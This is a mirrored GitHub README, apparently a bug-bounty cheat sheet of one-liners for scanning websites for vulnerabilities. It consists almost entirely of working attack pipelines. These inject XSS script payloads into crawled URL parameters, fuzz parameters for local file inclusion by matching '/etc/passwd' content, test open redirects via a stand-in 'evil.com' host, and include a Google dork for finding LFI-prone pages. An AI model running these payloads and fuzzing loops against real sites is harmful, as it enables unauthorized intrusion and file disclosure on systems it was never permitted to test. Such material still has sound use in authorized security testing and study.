GithubHelp home page GithubHelp logo

bbh-commands's Introduction

BBH-commands

One-liners for finding various vulnerabilities

Katana webcrawler to get all the metadata

katana -u https://testphp.vulnweb.com/ -o katana.txt

XSS using GF patterns

cat katana.txt | gf xss | grep 'source=' | qsreplace '"><script>confirm(1)</script>' | while read host; do curl --silent --path-as-is --insecure "$host" | grep -qs "<script>confirm(1)" && echo -e "$host {Vulnerable}"; done

LFI using GF patterns

cat katana.txt | gf lfi | tee lfi.txt cat lfi.txt | qsreplace FUZZ | while read url; do ffuf -u $url -mr "root:x" -w /path/to/LFI_payloads.txt ; done

Google Dork for LFI on Windows Server

site:http://example.com/ inurl:?filename= ext:aspx

XSS with KXSS and Dalfox

cat katana.txt | kxss | sed 's/=.*/=/' | sed 's/URL: //' | dalfox pipe

Open redirects

cat katana.txt | grep -a -i =http | qsreplace 'http://evil.com' | while read host; do curl -s -L "$host" -I | grep "evil.com" && echo -e "$host {Vulnerable}"; done

XSS combined fuzzing

cat katana.txt | gf xss | qsreplace '"><script>confirm(1)</script>' | tee combinedfuzz.json && cat combinedfuzz.json | while read host; do curl --silent --path-as-is --insecure "$host" | grep -qs "<script>confirm(1)" && echo -e "$host {VULNERABLE}\n" || echo -e "$host {Not Vulnerable}\n"; done

Open redirects with Bhedak

cat katana.txt | grep -a -i =http | bhedak 'http://redirect.com' | while read host; do curl -s -L "$host" -I | grep "redirect.com" && echo -e "$host {Vulnerable}"; done

XSS with uro and freq

cat urls.txt | grep "=" | egrep -iv ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|icon|pdf|svg|txt|js)" | uro | qsreplace '"><script>alert("XSS");</script>' | freq

bbh-commands's People

Contributors

srikrishnayadlapalli avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.